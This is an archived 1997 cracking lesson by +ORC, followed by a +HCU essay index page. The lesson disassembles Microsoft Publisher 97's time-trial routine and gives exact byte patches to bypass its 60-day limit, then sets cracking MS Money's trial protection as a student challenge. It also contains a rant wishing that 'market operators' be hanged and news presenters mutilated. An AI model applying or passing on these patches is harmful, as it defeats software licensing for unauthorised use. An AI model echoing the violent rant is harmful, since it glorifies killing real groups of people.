:004CBB82 83F8FF cmp eax, FFFFFFFF
:004CBB85 7507 jne 004CBB8E
:004CBB87 6AE7 push FFFFFFE7
:004CBB89 E86E850200 call 004F40FC
:004CBB8E 6A00 push 00000000
:004CBB90 8D45F0 lea eax, [ebp-10]
:004CBB93 50 push eax
:004CBB94 8D4DF8 lea ecx, [ebp-08]
:004CBB97 6A04 push 00000004
:004CBB99 8B55FC mov edx, [ebp-04]
:004CBB9C 51 push ecx
:004CBB9D 52 push edx
:004CBB9E FF1590005D00 Call dword ptr [005D0090];ReadFile
:004CBBA4 85C0 test eax, eax
:004CBBA6 7406 je 004CBBAE
:004CBBA8 837DF004 cmp [ebp-10], 00000004
:004CBBAC 7407 je 004CBBB5
:004CBBAE 6A03 push 00000003
:004CBBB0 E847850200 call 004F40FC
:004CBBB5 8B45FC mov eax, [ebp-04]
:004CBBB8 50 push eax
:004CBBB9 FF154C015D00 Call dword ptr [005D014C];CloseHandle
:004CBBBF C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004CBBC6 817DF86F6C626F cmp [ebp-08], 6F626C6F
:004CBBCD 0F85C2000000 jne 004CBC95
:004CBBD3 6A00 push 00000000

http://www.instinct.org/fravia/howto42.htm (21 of 32) [2/7/2001 2:54:07 PM]


Howto42

:004CBBD5 8D85A4FEFFFF lea eax, [ebp+FFFFFEA4]


:004CBBDB 6880000000 push 00000080
:004CBBE0 6A03 push 00000003
:004CBBE2 6A00 push 00000000
:004CBBE4 6A00 push 00000000
:004CBBE6 68000000C0 push C0000000
:004CBBEB 50 push eax
:004CBBEC FF15C8005D00 Call dword ptr [005D00C8];CreateFileA
:004CBBF2 8945FC mov [ebp-04], eax
:004CBBF5 83F8FF cmp eax, FFFFFFFF
:004CBBF8 7507 jne 004CBC01
:004CBBFA 6AFE push FFFFFFFE
:004CBBFC E8FB840200 call 004F40FC
:004CBC01 8D45AC lea eax, [ebp-54]
:004CBC04 8D4DB4 lea ecx, [ebp-4C]
:004CBC07 50 push eax
:004CBC08 8D55BC lea edx, [ebp-44]
:004CBC0B 51 push ecx
:004CBC0C 8B45FC mov eax, [ebp-04]
:004CBC0F 52 push edx
:004CBC10 50 push eax
:004CBC11 FF1594005D00 ****Call dword ptr [005D0094];GetFileTime ***
:004CBC17 85C0 test eax, eax
:004CBC19 7507 jne 004CBC22
:004CBC1B 6A03 push 00000003
:004CBC1D E8DA840200 call 004F40FC
:004CBC22 6A00 push 00000000
:004CBC24 8B45FC mov eax, [ebp-04]
:004CBC27 6A00 push 00000000
:004CBC29 6850D90100 push 0001D950
:004CBC2E 50 push eax
:004CBC2F FF1598005D00 Call dword ptr [005D0098];SetFilePointer
:004CBC35 83F8FF cmp eax, FFFFFFFF
:004CBC38 7507 jne 004CBC41
:004CBC3A 6AE7 push FFFFFFE7
:004CBC3C E8BB840200 call 004F40FC
:004CBC41 6A00 push 00000000
:004CBC43 8D45F0 lea eax, [ebp-10]
:004CBC46 50 push eax
:004CBC47 8D4DF4 lea ecx, [ebp-0C]
:004CBC4A 6A04 push 00000004
:004CBC4C 8B55FC mov edx, [ebp-04]
:004CBC4F 51 push ecx
:004CBC50 52 push edx
:004CBC51 FF1530015D00 Call dword ptr [005D0130];WriteFile
:004CBC57 85C0 test eax, eax
:004CBC59 7406 je 004CBC61
:004CBC5B 837DF004 cmp [ebp-10], 00000004
:004CBC5F 7407 je 004CBC68
:004CBC61 6A03 push 00000003
:004CBC63 E894840200 call 004F40FC
:004CBC68 8D45AC lea eax, [ebp-54]

http://www.instinct.org/fravia/howto42.htm (22 of 32) [2/7/2001 2:54:08 PM]


Howto42

:004CBC6B 8D4DB4 lea ecx, [ebp-4C]


:004CBC6E 50 push eax
:004CBC6F 8D55BC lea edx, [ebp-44]
:004CBC72 51 push ecx
:004CBC73 8B45FC mov eax, [ebp-04]
:004CBC76 52 push edx
:004CBC77 50 push eax
:004CBC78 FF159C005D00 ***Call dword ptr [005D009C];SetFileTime **
:004CBC7E 8B4DFC mov ecx, [ebp-04]
:004CBC81 51 push ecx
:004CBC82 FF154C015D00 Call dword ptr [005D014C];CloseHandle
:004CBC88 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004CBC8F 8B4DF4 mov ecx, [ebp-0C]
:004CBC92 894DF8 mov [ebp-08], ecx
:004CBC95 817DF80100ADDE cmp [ebp-08], DEAD0001 ;***!***
:004CBC9C 0F8408010000 je 004CBDAA
:004CBCA2 8B45F8 mov eax, [ebp-08]
:004CBCA5 3945F4 cmp [ebp-0C], eax
:004CBCA8 7248 jb 004CBCF2
:004CBCAA 8B45F4 mov eax, [ebp-0C]
:004CBCAD B980510100 mov ecx, 00015180
:004CBCB2 2B45F8 sub eax, [ebp-08]
:004CBCB5 2BD2 sub edx, edx
:004CBCB7 F7F1 div ecx
:004CBCB9 83F83C cmp eax, 0000003C
:004CBCBC 7334 jnb 004CBCF2
:004CBCBE B93C000000 mov ecx, 0000003C
:004CBCC3 2BC8 sub ecx, eax
:004CBCC5 894DC4 mov [ebp-3C], ecx
:004CBCC8 8D4DC4 lea ecx, [ebp-3C]
:004CBCCB 51 push ecx
:004CBCCC 683E040000 push 0000043E
:004CBCD1 E85C810200 call 004F3E32
:004CBCD6 B801000000 mov eax, 00000001
:004CBCDB C705D0225C0000000000 mov dword ptr [005C22D0],0
:004CBCE5 5F pop edi
:004CBCE6 5E pop esi
:004CBCE7 8BE5 mov esp, ebp
:004CBCE9 832DD4225C0040 sub dword ptr [005C22D4],40
:004CBCF0 5D pop ebp
:004CBCF1 C3 ret

:004CBCF2 817DF80100ADDE cmp [ebp-08], DEAD0001


:004CBCF9 0F84AB000000 je 004CBDAA
:004CBCFF 6A00 push 00000000
:004CBD01 8D85A4FEFFFF lea eax, [ebp+FFFFFEA4]
:004CBD07 6880000000 push 00000080
:004CBD0C 6A03 push 00000003
:004CBD0E 6A00 push 00000000
:004CBD10 6A00 push 00000000
:004CBD12 68000000C0 push C0000000
:004CBD17 50 push eax

http://www.instinct.org/fravia/howto42.htm (23 of 32) [2/7/2001 2:54:08 PM]


Howto42

:004CBD18 FF15C8005D00 Call dword ptr [005D00C8];CreateFileA


:004CBD1E 8945FC mov [ebp-04], eax
:004CBD21 83F8FF cmp eax, FFFFFFFF
:004CBD24 0F8480000000 je 004CBDAA
:004CBD2A 8D45CC lea eax, [ebp-34]
:004CBD2D 8D4DD4 lea ecx, [ebp-2C]
:004CBD30 50 push eax
:004CBD31 8D55DC lea edx, [ebp-24]
:004CBD34 51 push ecx
:004CBD35 8B45FC mov eax, [ebp-04]
:004CBD38 52 push edx
:004CBD39 50 push eax
:004CBD3A FF1594005D00 *** Call dword ptr [005D0094];GetFileTime **
:004CBD40 85C0 test eax, eax
:004CBD42 7455 je 004CBD99
:004CBD44 6A00 push 00000000
:004CBD46 8B45FC mov eax, [ebp-04]
:004CBD49 6A00 push 00000000
:004CBD4B 6850D90100 push 0001D950
:004CBD50 50 push eax
:004CBD51 FF1598005D00 Call dword ptr [005D0098];SetFilePointer
:004CBD57 83F8FF cmp eax, FFFFFFFF
:004CBD5A 743D je 004CBD99
:004CBD5C 6A00 push 00000000
:004CBD5E 8D45F0 lea eax, [ebp-10]
:004CBD61 50 push eax
:004CBD62 8D4DE8 lea ecx, [ebp-18]
:004CBD65 6A04 push 00000004
:004CBD67 8B55FC mov edx, [ebp-04]
:004CBD6A C745E80100ADDE mov [ebp-18], DEAD0001
:004CBD71 51 push ecx
:004CBD72 52 push edx
:004CBD73 FF1530015D00 Call dword ptr [005D0130];WriteFile
:004CBD79 85C0 test eax, eax
:004CBD7B 741C je 004CBD99
:004CBD7D 837DF004 cmp [ebp-10], 00000004
:004CBD81 7516 jne 004CBD99
:004CBD83 8D45CC lea eax, [ebp-34]
:004CBD86 8D4DD4 lea ecx, [ebp-2C]
:004CBD89 50 push eax
:004CBD8A 8D55DC lea edx, [ebp-24]
:004CBD8D 51 push ecx
:004CBD8E 8B45FC mov eax, [ebp-04]
:004CBD91 52 push edx
:004CBD92 50 push eax
:004CBD93 FF159C005D00 ***Call dword ptr [005D009C];SetFileTime **
:004CBD99 8B45FC mov eax, [ebp-04]
:004CBD9C 50 push eax
:004CBD9D FF154C015D00 Call dword ptr [005D014C];CloseHandle
:004CBDA3 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004CBDAA 683D040000 push 0000043D
:004CBDAF E81E800200 call 004F3DD2

http://www.instinct.org/fravia/howto42.htm (24 of 32) [2/7/2001 2:54:08 PM]


Howto42

:004CBDB4 33C0 xor eax, eax


:004CBDB6 E920FFFFFF jmp 004CBCDB
:004CBDBB 837DFC00 cmp [ebp-04], 00000000
:004CBDBF 740A je 004CBDCB
:004CBDC1 8B45FC mov eax, [ebp-04]
:004CBDC4 50 push eax
:004CBDC5 FF154C015D00 Call dword ptr [005D014C];CloseHandle
:004CBDCB 683F040000 push 0000043F
:004CBDD0 E8FD7F0200 call 004F3DD2
:004CBDD5 33C0 xor eax, eax
:004CBDD7 5F pop edi
:004CBDD8 5E pop esi
:004CBDD9 8BE5 mov esp, ebp
:004CBDDB 5D pop ebp
:004CBDDC C3 ret

OK, that's enough dead listing for now... we know now that the
REAL protection may call :004CBA50 (the beginning of the huge
code snippet above with GetFileTime and other file opening and
closing goodies)... and wdasm gives us the caller (only one...
THE TARGET!... don't you feel it?)

:004C8843 ;This is the call that triggers everything


;I told you: DO NOT FORGET IT
:004CBA50 55 push ebp
:... ...and the rest of the huge snippet
Therefore let's have a look at the caller... here it is:
:call_the_time_checking_huge_snippet
:004C8843 E808320000 call 004CBA50 ;call time checks
:004C8848 85C0 test eax, eax ;on non zero
:004C884A 7507 jne 004C8853 ;go go_on
:004C884C 6A0D push 0000000D ;do not push
:004C884E E8A9B80200 call 004F40FC ;do not call here
:go_on
:004C8853 E8CC1D0500 call 0051A624 ;continue here
:004C8858 8B4510 mov eax, [ebp+10]
:004C885B 50 push eax
:004C885C E8298DF7FF call 0044158A
:004C8861 F60540F15C0008 test byte ptr [005CF140], 08
:004C8868 0F84BC010000 je 004C8A2A
:004C886E C7451400000000 mov [ebp+14], 00000000

Therefore the crack is clear


** how to crack MSPublisher97 (trial 60 days), by +ORC, April
1997**
If you have NOT already sprenged MSpublisher time protection
search for
:004C8843 E808320000 call 004CBA50 ;trigger time checks
and change it to
:004C8843 E910000000 jmp 004C8853 ;don't trigger
If you DO have already sprenged MSpublisher time protection
FIRST search for

http://www.instinct.org/fravia/howto42.htm (25 of 32) [2/7/2001 2:54:08 PM]


Howto42

:004C8843 E808320000 call 004CBA50 ;trigger time checks


and change it to
:004C8843 E910000000 jmp 004C8853 ;don't trigger
THEN search for
:004F4103 EB09 jmp 004F410E ;jmp anyway
and change it to
:004F4103 7509 jne 004F410E ;jne
THEN search for
:004F410C EB06 jmp 004F4114 ;jmp anyway
and change it to
:004F410C 7506 jne 004F4114 ;jne
**********************************************************

LET'S CRACK MICROSOFT'S MONEY 97 and 95 NOW


Let's finish this lesson with another sound hit at Micro$oft.
This is the main part of the strainer to next year's +HCU, please
solve it (it's MUCH more easy than last year's strainer).
I'm cracking here Microsoft MONEY 97, 90 days trial version I
found on the cd-cover of a review called PC-PRO, issue 31, MAY
1997 (but I bought it in transit at Heathrow airport for three
pounds at the beginning of April and not in May, as usual in this
awful commerce oriented society even minutiae like the dates of
the issues of magazines are completely false :=(
This is another kind of program I personally would not touch with
a pole, nor would I use it, even if somebody would pay me for
it... but I know that a lotta suckers buy these ridiculous
applications greedly... such kind of customers do pay a lot of
money to Micro$oft... and to the banks, and to the various
asinine "investor advisors", and to all the awful commercial
people that has given us this grey world of unhappiness, and
inequality, where only irrelevance and bad taste are valued,
where knowledge is "allowed" only and only if it helps them to
make more money (not happiness)... where poetry and feelings are
considered useless and obsolete by the "market forces"... My, how
I hate cheerfully this whole bunch of "market operators"! How I
hope that the people they have enslaved will one day hang the
whole lot of them, pinning the TV-news moderators to the
doors of the TV-studios by their tongue as a good collateral
measure... (the sooner this happens the better, give it a move
please, I would like to take some nice photos of the hanging
bodies),... ok, enough, let's crack first of all the programs
used by this outrageous people, hoping that my crackings will
spread enough to diminish Gates' cashflow a little... a pebble
of sand is nothing less than a pebble of sand, after all, let's
never forget it :=)

Let's see what happens here... once more with GetLocalTime? Let's
see... here you have three calling "points" for GetLocalTime:
at 45804D, at 46A308 and at 5DA056, let's call them 45, 46 and
5D. Since the one at 46 is referenced by not less than 80 calls,
we will deem it more important than the first one at 45 (three
calls) and the third one at 5D (two calls).... but wait...

http://www.instinct.org/fravia/howto42.htm (26 of 32) [2/7/2001 2:54:08 PM]


Howto42

WAIT, HISTORY IS IMPORTANT


But wait...may be we should delve a little deeper in
Micro$oft's protection strategies, may be you should have FIRST
a look at an OLDER copy of Micro$oft's Money... say version
3.00p of February 1994... the file you have to crack is here
MNYDEMO.EXE, length 1.173.184 bytes, from 8/2/1994... I found it
on a old cd-rom: PCHOME n.8 from June 1994, as usual, quite a lot
of magazines will have had the "privilege" of burning this trial
version on their CD-ROMs during that summer... you should be able
to find a copy of it on the Web too, if you happen to know how
to search and, what's even more important, WHERE to search... as
I said elsewhere, on the Web you can find almost everything...
provided you already know where it is :=)

THE STRAINER... FIRST OF ALL YOU'LL HAVE TO FIND IT!


Anyway, since this lesson is intended as a "strainer" for
next years +HCU, a part of your duty is TO FIND the targets we
have to crack... this will be easy for MS MONEY 97, but (I hope)
not so easy for MS MONEY from 1994... believe me, this searching
is a very important art... you may be just lucky, or already
have (like me) a huge collection of many CD-ROM that appeared on
magazines covers and that you bought at discount prices... or you
may have to beg or implore or exchange programs with some old guy
from New Zealand or a weird wannaby warez dude from Corea, which
happens to have the copy you are interested in... you may have
to examine old usenet discussion groups, to peruse old
PC-magazines... to delve inside a lot of useless pages...
searching for your nugget. But you'll gain a lot of knowledges
in this process... ignorantia est carentia scientiae debitae.

OLD VERSION, SAME LIMITATIONS


The "trial" old demo of MS-Money 94 has an analogous
protection scheme to the very recent MONEY '97 trial version?
Please check... if it is so, that would be VERY important for
us... history and evolution of a targets' protections IS INDEED
very important. If you'll delve inside cracking as an art, as I
would like you to, you'll see that patterns and trends play (like
in real life) a tremendous unproportionated role... protections
mirror our society (at times I believe that everything does, but
me): real knowledge and innovation plays almost no role, stupid
"trends" and repetitions of the same boring schemes do actually
make the 99% of the "reality".
In the meantime life keep worsening for the stupid slaves,
more and more useless stinking cars are polluting our cities and
the "new" programs we buy are slower and by far not as good and
powerful as the old DOS programs of 1990... a proof? For the dead
listing of this target you'll NOT be able to use Word 7.0 ("file
is too huge"), but you'll still be able to use Word 2.0 from
1994... funny, isn't it?
This old "trial" demo of MS-Money has THREE levels of
protection:

http://www.instinct.org/fravia/howto42.htm (27 of 32) [2/7/2001 2:54:08 PM]


Howto42

1) The system date in your computer must be 1994 or 1995


2) There is a Cinderella 60 days limit (Micro$oft was not yet
a "90 days" enterprise... we are watching here the BIRTH of this
MS-protection scheme :=)
3) Transactions (i.e. fields of this database) can only be
entered within a 60-days period (this is at the same part the
"tricky" part of this crack and a key to the crack :=)

HOW DO YOU BEGIN?


I'm writing this to teach you MANY cracking techniques, let's
pack this target from another direction, let's forget winice for
a while and use a bit of "dead listing", a program like winsight
and some of the brain we are supposed to have:

1) Have a look at the messages i.e.:


install our target...
run it as it should, changing the OS date to 1994
change OS date past the 60 days limit
look at the message ("The 60-days limit of this working model..."
2) Fire Borland's Winsight (I'm using here version 1.30 from
an old cracked Delphi, but you'll find hundred of them on the
web) It will describe you EXACTLY the nagwindow you have on your
screen:
Popup 0610 {#32770:Dialog} mnydemo.exe (144,183)-(523,345)"Notice of Expiration"
You may even get details on this Popup 610, if you feel like it.
4) You have the NAME (very important). Search it inside the
dead listing (you have previously made with WCB or with wdasm)
of MNYDEMO.EXE, you'll get the following:

Name:
DialogID_0494, # of Controls=004, Caption:"Notice of Expiration"
001 - ControlID:02CE, Control Class:"" Control Text:"The 60-day
limit of this working model has expired."

See what's important? ID_0494... that's important.

5) Now search ID_0494 in your dead listing... you'll find THREE


occurrences (i.e. they call three time the 60-days limit) let's
examine them (with context):
Block 6 at 263:
6.263 is called "cascade" (switch) from the beginning of block 6:

:0006.0012 57 push di
:0006.0013 6A00 push 0000
:0006.0015 9AFFFF0000 call USER.GETWINDOWWORD
(GETWINDOWWORD returns a 16-bit WORD value from the extra
info associated with a window. Push handle and index (in
bytes) in the extra memory where the value will be found)
:0006.001A 8BF0 mov si, ax
:0006.001C 8B460C mov ax, [bp+0C]
:0006.001F 3DA100 cmp ax, 00A1 ;is it 161?
:0006.0022 7503 jne 0027 ;may call NoE if not

http://www.instinct.org/fravia/howto42.htm (28 of 32) [2/7/2001 2:54:08 PM]


Howto42

...
:0006.0027 7729 ja 0052 ;may call NoE if more
...
:0006.0052 3D1501 cmp ax, 0115
:0006.0055 7503 jne 005A ;if not 115
...
:0006.005A 7712 ja 006E ;more? Call NoE
...
:0006.006E 2D0102 sub ax, 0201 ;sub 201
:0006.0071 7503 jne 0076 ;may call NoE
...
:0006.0076 48 dec ax ;-1
:0006.0077 48 dec ax ;-1
:0006.0078 7503 jne 007D ;may call NoE
...
:0006.007D 2D9102 sub ax, 0291 ;sub 291
:0006.0080 7503 jne 0085 ;do not call NoE
:0006.0082 E9D701 jmp 025C ;call NoE ******
...
:0006.025C 57 push di
:0006.025D 9AFFFF0000 call USER.GETPARENT
(This returns the handle to a window's parent. Function
returns window's parent handle if successful and NULL if
no parent or error)

* Possible Reference to Dialog: DialogID_0494


|
:0006.0263 689404 push 0494 ;HERE! NOTICE OF EXPIRATION
:0006.0266 FF760A push word ptr [bp+0A]
:0006.0269 FF7608 push word ptr [bp+08]
:0006.026C FF7606 push word ptr [bp+06]
:0006.026F 9AFFFF0000 call USER.SENDMESSAGE ;bagger off, bad guy!
:0006.0274 EB14 jmp 028A

Ok, for block 6 what should we say? Can we start our crack from
here?

Let's have a look at the next block:


Block 8 at 17D2:

:0008.17CA 8B46F4 mov ax, [bp-0C]


:0008.17CD 3946F0 cmp [bp-10], ax
:0008.17D0 7246 jb 1818

* Possible Reference to Dialog: DialogID_0494


|
:0008.17D2 689404 push 0494 ;HERE! NOTICE OF EXPIRATION
:0008.17D5 685505 push SEG ADDR of Segment 0028
:0008.17D8 684C15 push 154C
:0008.17DB FF362C0A push word ptr [0A2C]
:0008.17DF 6A00 push 0000
:0008.17E1 6A00 push 0000

http://www.instinct.org/fravia/howto42.htm (29 of 32) [2/7/2001 2:54:08 PM]


Howto42

:0008.17E3 6A00 push 0000


:0008.17E5 9A34019911 call 000.0134 ;call KERNEL.MAKEPROCINSTANCE

that's the check for all open windows (Useless with 32 bit)

And, please, what do we have at 28.154C?


Exported fn(): DLGPROCDEMO - Ord:0019

:0028.154C 8CD8 mov ax, ds


:0028.154E 90 np (always suspect these
funny nops, somebody patched here?... :=)
:0028.154F 45 inc bp
:0028.1550 55 push bp
:0028.1551 8BEC mov bp, sp
:0028.1553 1E push ds
:0028.1554 8ED8 mov ds, ax
:0028.1556 83EC02 sub sp, 0002
:0028.1559 56 push si
:0028.155A 8B4E0C mov cx, [bp+0C] ;fetch bp+C
:0028.155D 8BC1 mov ax, cx
:0028.155F 2D0F00 sub ax, 000F
:0028.1562 740E je 1572 ;was it 15?
:0028.1564 2D0101 sub ax, 0101 ;was it 272?
:0028.1567 7425 je 158E
:0028.1569 48 dec ax
:0028.156A 7454 je 15C0 ;273?
:0028.156C 33C0 xor ax, ax
:0028.156E E98900 jmp 15FA

A jump below followed by a switch tree... is it interesting for


us? You'll answer!
Finally, let's have a look at the THIRD and last occurrence of
our "Notice of expirations" at block 52 at 2465:

* Possible Ref to Menu: MAINMENU, Item: "Future Transactions"


|
:0052.2449 6A02 push 0002
:0052.244B 9AE00ED424 call 0006.0EE0
:0052.2450 837EF800 cmp word ptr [bp-08], 0000
:0052.2454 7503 jne 2459
:0052.2456 E9CE00 jmp 2527

:0052.2459 8B5EFC mov bx, [bp-04]


:0052.245C FF7718 push word ptr [bx+18]
:0052.245F 9AFFFF0000 call USER.GETPARENT
:0052.2464 50 push ax
* Possible Reference to Dialog: DialogID_0494
|
:0052.2465 689404 push 0494 ;HERE! NOTICE OF EXPIRATION

* Possible Ref to Menu: MAINMENU, Item: "Account Book"

http://www.instinct.org/fravia/howto42.htm (30 of 32) [2/7/2001 2:54:08 PM]


Howto42

|
:0052.2468 6A01 push 0001
:0052.246A 6A00 push 0000
:0052.246C 6A00 push 0000
:0052.246E 9A1B250000 call USER.SENDMESSAGE

Well, I think this is enough:


The crack for it is pretty obvious, is it?

Let's start with a simple substitution:


instead of
:0008.17D0 7246 jb 1818
let's have
:0008.17D0 55 push bp
:0008.17D0 5D pop bp
(nooping it)

That's it, folk!... but, wait... all this DOES NOT work
correctly... did I forgot something?
THAT's the Strainer! Solve it (you have time until SEPTEMBER 1997).

THE STRAINER: SOLVE IT!

You want to be a +HCUker? SOLVE the crack for MS-Money (old


version and new version), I want to get from you (directly to
na526164@anon.penet.fi if it still works or else through channel
you have to find yourself)
1) The complete and WELL described crack to MSMONEY version 3 (1994)
(60 days trial protection)
2) The complete and WELL described crack to MSMONEY 97 (1997)
(90 days trial protection)
3) The reason for the crack I used for Winproject instead of
nooping the alternative location... which would have seen more
obvious at first glance.

I would like you (since these cracks are alltogether much


more easy than the Instant access strainer we used last year) to
DELVE DEEP inside the date-encryption routines of these programs,
explaining them perfectly.
Please use a language that newbyes can easily follow... I
do not intend to work in order to re-explain once more things you
should have explained well in the first time.
Best protection busters (and best approaches) will enter the
+HCU. Lamers and people that have copied from other will be left
out.
+HCU 1998 will begin on 1 Januar 1998. The above solutions
must be sent to me BEFORE september 1997. Should anon.penet die,
I'll reopen another anonymous channel end August.

Well, that's it for this lesson, reader. Not all lessons of my


tutorial are or will be on the Web.

http://www.instinct.org/fravia/howto42.htm (31 of 32) [2/7/2001 2:54:08 PM]


Howto42

You'll obtain the missing lessons IF AND ONLY IF you mail


me back (via anon.penet.fi) with some tricks of the trade I may
not know that YOU discovered. Mostly I'll actually know them
already, but if they are really new you'll be given full credit,
and even if they are not, should I judge that you "rediscovered"
them with your work, or that you actually did good work on them,
I'll send you the remaining lessons nevertheless. Your
suggestions and critics on the whole crap I wrote are also
welcomed. Do not annoy me with requests for warez, everything is
on the Web, learn how to search, for Hiawatha sake.

"If you give a man a crack he'll be hungry again


tomorrow, but if you teach him how to crack, he'll
never be hungry again"

E-mail +ORC
+ORC na526164@anon.penet.fi

http://www.instinct.org/fravia/howto42.htm (32 of 32) [2/7/2001 2:54:08 PM]


student.htm +HCU projects and essays

Updated see
below

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

projects and essays


by various +ORC's students (and friends)

Where d'you want to go today?

WARNING: MAY 1998


This page has been DISCONTINUED
And it will not be updated until some secretary comes 'vorbei' :-(
It will be useful for you nevertheless, have a look :-)
Go to the specific history of the student.htm page
D'you prefer the synthesis of the +HCU projects?
Or d'you want to see the list of all "non-project" essays?
There is also a section Attention shareware programmers
And a very important section Rules and regulations for submission
Nope! I just want the most recent three essays on this page.

Hei! Don't forget to check +gthorne's OTHER +HCU page!

" Stealing the goods inside the store is irrelevant: being able to do is the prize " (Jeff S.)

Attention shareware
programmers
You'll find a LOT of useful tricks in order to better protect your software inside

http://www.instinct.org/fravia/student.htm (1 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

the shareware programmer corner

Hey, wanna work for the +HCU ?

Some of you are really good, and will surely, IMO, pass the +HCU strainer (for the +HCU 1999)... in the mean
time... would you like to work already NOW for the +HCU? Please do, we have already more than 100
contributors (+HCUkers and friends alltogether), yet we need more help!

You may join right now one of the following ongoing projects:

Project_0 Wdasm cracked, all versions until Project CLOSED!


Wdasm cracking ~
8.7 15 Oct 97
Hexeditors, IDA and other VERY new stuff inside
Project_1 "Tools of the trade" ~
important targets 11 Jan 1998
Numega's 14 days trial protections
Project_2 Numega reverse engineering Project CLOSED!
- Winice 95 and Winice NT and ~
(Softice) 27 Oct 97
Boundschecker and Smartcheck
(Dongleling donglelong! The
new stuff inside:
Project_3 Dongle reverse engineering "renaissance" of a truly interesting ~
04 Mar 1998
cracking art!)

Project_4 new stuff inside:


CD-ROM faking (Here we need more help!) ~
04 Mar 1998
Let's have apps as they should
Project_5 already have been... Let's add new new stuff inside:
Netscape reverse engineering ~
functionality & destroy cookies 20 Sep 1997
and applets

Project_6 and other "missing parts" new stuff inside:


Save disabled targets ~
protections... ("crippledwarez") 27 Jan 1998
"Most stupid protection" new stuff inside:
Project_7 Incredible but true ~
award 16 Mar 1998
Visual Basic reverse Overbloated languages have new stuff inside:
Project_8 ~
engineering simple protections 08 Feb 1998
All Micro$oft protections
Project 9 new stuff inside:
Microsoft bashing explained, see +ORC's 4.2 and ~
31 Mar 1998
WORK
(see Razzia's Visual Basic *.dll
tutorial, my filemon1.htm and
VisualC++ "*.DLL reverse not yet: will start
Project_A WORK!... a first essay on ~
engineering" as soon as possible
MSVCRT.dll reverse engineering
has been published here)

http://www.instinct.org/fravia/student.htm (2 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

(This is a very important NEW


sector! The +HCU is HIRING
Demos and Intros not yet: will start
Project_B demo experts able to reverse ~
reverse engineering as soon as possible
engineer the NEWEST GRAPHIC
TRICKS of the demomakers!)
Special +HCU's projects

How to protect better... teasers, new stuff inside:


Protecti Our protections ~
models and solutions 28 Feb 1998

Ourtools Tools to reverse the hell out of it: new stuff inside:
Our own tools ~
an +HCU workshop 01 Mar 1998
How to defeat us crackers at our new stuff inside:
Programmer's corner The Anti-cracking side ~
own game 04 Mar 1998
Compacted programs reverse
new stuff inside:
Projunpa Packers & Unpackers engineering: ~
02 Feb 1998
TRON, RTPatch, Protexe,
+HCU's Taxonomy
The best essays (Advanced
Advanced new stuff inside:
Advanced cracking cracking series - started October ~
20 Mar 1998
1997). Not for beginners!
Papers on reverse engineering new stuff inside:
HCU Papers HCU Papers ~
arguments - started March 1998). 20 Mar 1998
Timelock dll cracking, the
new stuff inside:
Timelock Timelock cracking tl32v20.dll and various "timelock" ~
20 Jan 1997
vagaries
Various "snippets" about (more or new stuff inside:
snippets Snippets ~
less) useful tools 21 Jan 1998

Rules and regulations


Before submitting an essay, please read the Rules and regulations page.
NO MORE BANAL/BEGINNER ESSAYS PLEASE!

WARNING: MAY 1998


This page has been DISCONTINUED
And it will not be updated until some secretary comes 'vorbei' :-(
It will be useful for you nevertheless, have a look :-)

And now... and now... and now...!


http://www.instinct.org/fravia/student.htm (3 of 12) [2/7/2001 2:54:27 PM]
student.htm +HCU projects and essays

The GREAT students' essays


Here they are: marvellous reading! It's almost unbelievable: the quantity (and the quality) of the essays is more
and more impressive. Please bear with us the temporary "confusion" ruling this part of this site... we will try to
create various section and to "organize" this material
Some of the following essays are "outstanding", some are VERY good, and some are only "good"... yet I believe
that all these essays are JUWELS of knowledge, and that if you are serious about studying reverse engineering you
should read them ALL (slowly, and working on what you read). I learned a lot, that's for sure :-)

BE WARNED: A lot of essays have been "moved" inside the various "projects" above!
The following roster lists only the essays that have NOT YET found a place inside a"project"... se the academy
pages in order to have a COMPLETE list of all essays.. check the complete +HCU database!
(Just click onto the gif below)

Here the "unassigned" essays:

The mathematical coprocessor protection by swann (very interesting) - 02 March 1997

The DOS4GW CD-ROM timestamp by Yamato (he got a new lesson from +ORC for this) - 05 March 1997

Windows 95 Screen Saver Passwords reverse engineering by Lonely Hawk (cryptography) - 20 March 1997

How to reverse engineer AMU for Win95 by Aesculapius - 30 March 1997

How to reverse engineer Xferpro by Aesculapius - 02 April 1997

How to reverse engineer Siren Mail 3.0.0 by +gthorne - 02 April 1997

How to reverse engineer CuteFtp 1.8 (32 bit version)


(The hidden file algorhitm protection) by +Rcg - 08 April 1997

How to reverse engineer ProPinball


(heavy location fetching) by siuL+Hacky- 26 April 1997

How to reverse engineer Portscan v1.2b1


(More about password xoring protection schemes) by Hackmore Readrite - 05 May 1997

Homesite secrets

http://www.instinct.org/fravia/student.htm (4 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

(Windows95 registry reverse engineering) by Epic Lord - 06 May 1997

Defeating Pete Norton's protections


(PCAnywhere Version 7.5) by Hackmore Readrite - Revised version: 3 July 1997

How to crack VideoCraft Gif Animator


(magic numbers galore) by desert eagle - 12 May 1997

Cracking Sega games


(Once you learn the art you reverse engineer whatever you want) by +Rcg - 13 May 1997

The flag's faking approach


("Brute force" cracking by Xoanon) - 13 May 1997

Reverse engineering of Crypt-o-Text v1.21 & v1.24


(Encryption cracking) by CASIMIR - 21 May 1997

How to Neuter WebWhacker V2.0


(dead listing persistence) by +daQ - 26 May 1997

An interesting tool: BRW


(32-bit reverse engineering) by fravia+ (MSRE) - 26 May 1997

Use of the Win32 API


(WebGenie Software's Downfall) by Saltine - 28 May 1997

Networker, the mistery of the missing file


(how to reverse engineer logically, without too much listing) by Hackmore Readrite - 28 May 1997

How to crack the "uncrackable" test4 by LordByte


(bytes rolling and xoring, table protections) - by Croock, 30 June 1997

How to reverse engineer SERV-U32(FTP Daemon)


(Reconstruction of a missing file) - by TheChineese 03 July 1997

The Eudora serie


How to reverse engineer EUDORA PRO 3.0
(Time trial protection busting) by +Rcg - 30 April 19970

How to reverse engineer Eudora 301's three protections


(How many days left routine - last bytes routine) - by TheChineese 02 July 1997

Reverse engineering Serif PagePlus 4 Trial Edition

http://www.instinct.org/fravia/student.htm (5 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

(Universal Double protections: time *and* registration number) - by ReZiDeNt - 08 July 1997

Reverse engineering NetScanTools' protection scheme


(How we DON'T crack a really good protection :-) - by Hackmore Readrite - 08 July 1997

